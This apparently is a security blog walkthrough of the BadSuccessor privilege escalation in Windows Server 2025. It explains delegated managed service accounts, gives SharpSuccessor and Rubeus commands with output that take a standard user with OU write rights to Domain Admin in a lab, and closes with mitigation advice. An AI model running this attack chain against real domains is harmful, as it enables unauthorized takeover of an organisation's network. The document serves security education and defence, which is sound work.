Exploiting BadSuccessor: Escalate Privileges from OU Write to Domain Admin in Windows Server 2025

Windows Server 2025 brings a host of new features, including a new type of service account called the Delegated Managed Service Account (dMSA). Designed to improve security and management over traditional service accounts, this new feature ironically introduces a significant privilege escalation vulnerability.

This vulnerability, dubbed "BadSuccessor" in the original research by Akamai, allows an adversary who can compromise or create a dMSA account to potentially escalate their privileges to become a Domain Administrator.

This article provides a deep dive into how dMSAs work, the theory behind the BadSuccessor attack, and a step-by-step guide to exploiting this vulnerability in a lab environment.

---

Understanding Delegated Managed Service Accounts (dMSAs)

To understand the vulnerability, we must first understand the legitimate function of dMSAs. They are an evolution of managed service accounts, designed to have their passwords automatically managed by the domain, removing the need for administrators to manually set and rotate them.

Normal dMSA Operation and Configuration

Setting up a dMSA involves a few key steps using PowerShell.

1. Creating the KDS Root Key

The foundation for all managed service accounts is the Key Distribution Service (KDS). The KDS uses a domain-wide master key, the

KdsRootKey, to generate the unique Kerberos keys for each managed account. If a

KdsRootKey does not already exist on the domain, you must create one.

You can check for and generate the

KdsRootKey using the following PowerShell commands:

# Check if a key exists
PS C:\Users\Administrator> Get-KdsRootKey

# If no key is returned, create one with immediate effect
PS C:\Users\Administrator> Add-KdsRootKey -EffectiveImmediately

Guid
----
ca1edabe-c925-a9eb-8030-ac0aa51df1c7

Once created, you can view the key's properties:

PS C:\Users\Administrator> Get-KdsRootKey

AttributeOfWrongFormat :
KeyValue               : {47, 135, 119, 177...}
EffectiveTime          : 13/07/2025 03:11:07
CreationTime           : 13/07/2025 13:11:07
IsFormatValid          : True
DomainController       : CN=DC01,OU=Domain Controllers,DC=bordergate,DC=local
ServerConfiguration    : Microsoft.KeyDistributionService.Cmdlets.KdsServerConfiguration
KeyId                  : ca1edabe-c925-a9eb-8030-ac0aa51df1c7
VersionNumber          : 1

2. Enabling dMSAs via Group Policy

By default, dMSA logins are not permitted. You must enable them by configuring a Group Policy Object (GPO) setting.

Set-GPRegistryValue -Name "Default Domain Policy" -Key "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" -ValueName "DelegatedMSAEnabled" -Type DWord -Value 1

After the policy replicates, you can verify the setting on a client machine by checking the registry:

PS C:\Windows\System32> reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters
    DelegatedMSAEnabled    REG_DWORD    0x1

3. Creating and Configuring the dMSA Account

Next, you create the dMSA account itself using the

New-ADServiceAccount cmdlet and then specify which computer principals are allowed to retrieve its password.

# Create the dMSA account
New-ADServiceAccount -Name "DMSA1" -DNSHostName "DMSA1.bordergate.local" -CreateDelegatedServiceAccount:$true -KerberosEncryptionType AES256

# Allow CLIENT01 to retrieve the dMSA's managed password
Set-ADServiceAccount -Identity "DMSA1" -PrincipalsAllowedToRetrieveManagedPassword "CLIENT01$"

Finally, you must modify the msDS-DelegatedMSAState attribute of the account object in Active Directory Users and Computers. Setting this value to 3 indicates that it is a standalone dMSA account. With this configuration complete, the dMSA account can now be used to run services on the

CLIENT01 system, leaving the password field blank during service configuration.

The Account Migration Feature

The core of the BadSuccessor vulnerability lies in the legitimate feature used to migrate legacy service accounts to the new dMSA format. This process involves two key attributes:

• msDS-ManagedAccountPrecededByLink: This attribute links the new dMSA to the old account it is replacing.

• msDS-DelegatedMSAState: This attribute acts as a status flag for the migration.

The normal migration process is as follows:

1. An administrator runs Start-ADServiceAccountMigration. This sets the msDS-DelegatedMSAState to 1 (indicating migration is in progress) and links the dMSA to the legacy account via msDS-ManagedAccountPrecededByLink.

2. After testing, the admin runs Complete-ADServiceAccountMigration. This sets msDS-DelegatedMSAState to 2 (migration complete) and, crucially, disables the original legacy account.

The BadSuccessor attack abuses this mechanism by manipulating these attributes without disabling the target account.

---

The BadSuccessor Attack Explained

The attack is a privilege escalation technique that hinges on gaining control over a dMSA object and modifying its attributes to inherit the permissions of a high-privilege account, like a Domain Administrator.

The process can be broken down into three main steps:

1. Gain Initial Access. An attacker must first compromise a user account that has permissions to create new child objects within an Organizational Unit (OU). This allows them to create a new dMSA that they control. Alternatively, they could compromise an existing dMSA account.

2. Modify dMSA Attributes. The attacker modifies two attributes on the dMSA object they control:

   • They set msDS-ManagedAccountPrecededByLink to point to the distinguished name of their target (e.g., the built-in Administrator account).

   • They set msDS-DelegatedMSAState to a value of 2, falsely signaling that a migration has been completed.

3. Request Kerberos Ticket. The attacker can now request a Kerberos ticket for their malicious dMSA. Because the account is linked to the Administrator via the "preceded by" attribute, the Key Distribution Center issues a ticket that contains the security identifiers (SIDs) of the Administrator account. The attacker effectively becomes a Domain Admin.

A critical aspect of this attack is that, unlike the legitimate

Complete-ADServiceAccountMigration cmdlet, this manual attribute manipulation does not disable the source account (e.g., Administrator), making the compromise stealthier.

---

Practical Exploitation: A Step-by-Step Walkthrough

This section details how to execute the BadSuccessor attack in a lab environment.

Setting Up a Vulnerable Configuration

To test this, you need a lab with:

1. A Windows Server 2025 domain.

2. A KdsRootKey generated for the domain.

3. An Organizational Unit (OU) created in Active Directory.

4. A standard user (e.g., "bob") who has been granted privileges to create child objects within that OU. This is the entry point for the attack.

   

Step 1: Identifying Vulnerable Permissions

First, as the attacker, we need to identify OUs where our compromised user ("bob") has the necessary permissions. The Akamai research team created a PowerShell script for this purpose.

Download and run the script on a domain-joined machine as the user "bob":

PS C:\Users\bob\Desktop> curl https://raw.githubusercontent.com/akamai/BadSuccessor/refs/heads/main/Get-BadSuccessorOUPermissions.ps1 -o Get-BadSuccessorOUPermissions.ps1
PS C:\Users\bob\Desktop> . .\Get-BadSuccessorOUPermissions.ps1
PS C:\Users\bob\Desktop> Get-BadSuccessorOUPermissions

Identity       OUs
--------       ---
BORDERGATE\bob {OU=VictimOU,DC=bordergate,DC=local}

The output confirms that our user "bob" can create child objects in the "VictimOU," making it a perfect target.

Step 2: Creating the Malicious dMSA with SharpSuccessor

Several tools have been developed to automate the exploitation. We will use

SharpSuccessor. From our session as "bob," we run SharpSuccessor to create a new dMSA named evil_dmsa inside the vulnerable OU and link it to the Administrator account.

C:\Users\bob\Desktop>SharpSuccessor.exe add /impersonate:Administrator /path:"ou=victimou,dc=bordergate,dc=local" /account:bob /name:evil_dmsa
   _____ _              _____
  / ____| |            / ____|
 | (___ | |__   __ _ _ __ _ __| (___  _  _  ___ ___ ___  ___ ___  ___  _ __
  \___ \| '_ \ / _` | '__| '_ \\___ \| | | |/ __/ __/ _ \/ __/ __|/ _ \| '__|
  ____) | | | | (_| | |  | |_) |___) | |_| | (_| (_|  __/\__ \__ \ (_) | |
 |_____/|_| |_|\__,_|_|  | .__/_____/ \__,_|\___\___\___||___/___/\___/|_|
                         | |
                         |_|
@_logangoins

[+] Adding dnshostname evil_dmsa.bordergate.local
[+] Adding samaccountname evil_dmsa$
[+] Administrator's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=evil_dmsa' in 'ou=victimou,dc=bordergate,dc=local'
[+] Successfully weaponized dMSA object

This single command automates the entire process of creating the dMSA and maliciously setting its attributes.

Step 3: Abusing Kerberos with Rubeus

Now that the malicious dMSA exists, we use the Kerberos manipulation tool Rubeus to acquire tickets.

First, we request a Ticket Granting Ticket (TGT) capable of delegation for our current user, "bob".

C:\Users\bob\Desktop>Rubeus.exe tgtdeleg /nowrap

Next, we use the TGT we just generated to request a service ticket for the evil_dmsa account. This is the key step where we impersonate the dMSA.

Rubeus.exe asktgs /targetuser:evil_dmsa$ /service:krbtgt/bordergate.local /opsec /dmsa /nowrap /ptt /ticket:doIFiDCC...<TGT_FROM_PREVIOUS_STEP>...

The /ptt (Pass-the-Ticket) flag injects the resulting ticket into the current logon session.

Step 4: Verifying Domain Admin Access

With the powerful ticket now in memory, we can request access to services as if we were the domain administrator. We can verify our new privileges by requesting a ticket for the CIFS service on a Domain Controller and then listing the contents of its C$ drive.

# Request service ticket for the DC
Rubeus.exe asktgs /user:evil_dmsa$ /service:cifs/DC01.bordergate.local /opsec /dmsa /nowrap /ptt /ticket:doIF9j...<TICKET_FROM_PREVIOUS_STEP>...

# Access the DC's filesystem
C:\Users\bob\Desktop>dir \\DC01.bordergate.local\C$
 Volume in drive \\DC01.bordergate.local\C$ has no label.
 Volume Serial Number is CCE4-8243

 Directory of \\DC01.bordergate.local\C$

01/04/2024  08:02    <DIR>          PerfLogs
23/05/2025  09:56    <DIR>          Program Files
...
13/07/2025  08:18    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)  56,159,240,192 bytes free

The ability for a standard user to list the root of the Domain Controller's system drive is definitive proof of a successful privilege escalation to Domain Admin.

---

Conclusion and Mitigation :

The BadSuccessor vulnerability is a powerful reminder that new features, however well-intentioned, can introduce new and unexpected attack surfaces.

At the time of writing (July 2025), Microsoft has not yet released a patch for this issue. However, it's important to note the prerequisite for the attack: the adversary must already have write access to an Organizational Unit, which implies a certain level of pre-existing compromise.

Given the lack of a patch, mitigation must focus on preventative controls and monitoring:

• Audit OU Permissions: The most critical defense is to strictly audit and limit which accounts have Create Child Object or similar write permissions on OUs. These permissions should be reserved for only the most trusted administrator accounts.

• Monitor for dMSA Creation: Monitor Active Directory logs for the creation of new dMSA accounts (Event ID 4741), especially in OUs where they are not expected.

• Monitor for Attribute Changes: Specifically monitor for modifications to the msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState attributes on dMSA objects.

By controlling the entry point of the attack, organizations can effectively mitigate the risk posed by BadSuccessor until an official patch becomes available.

#keeplearning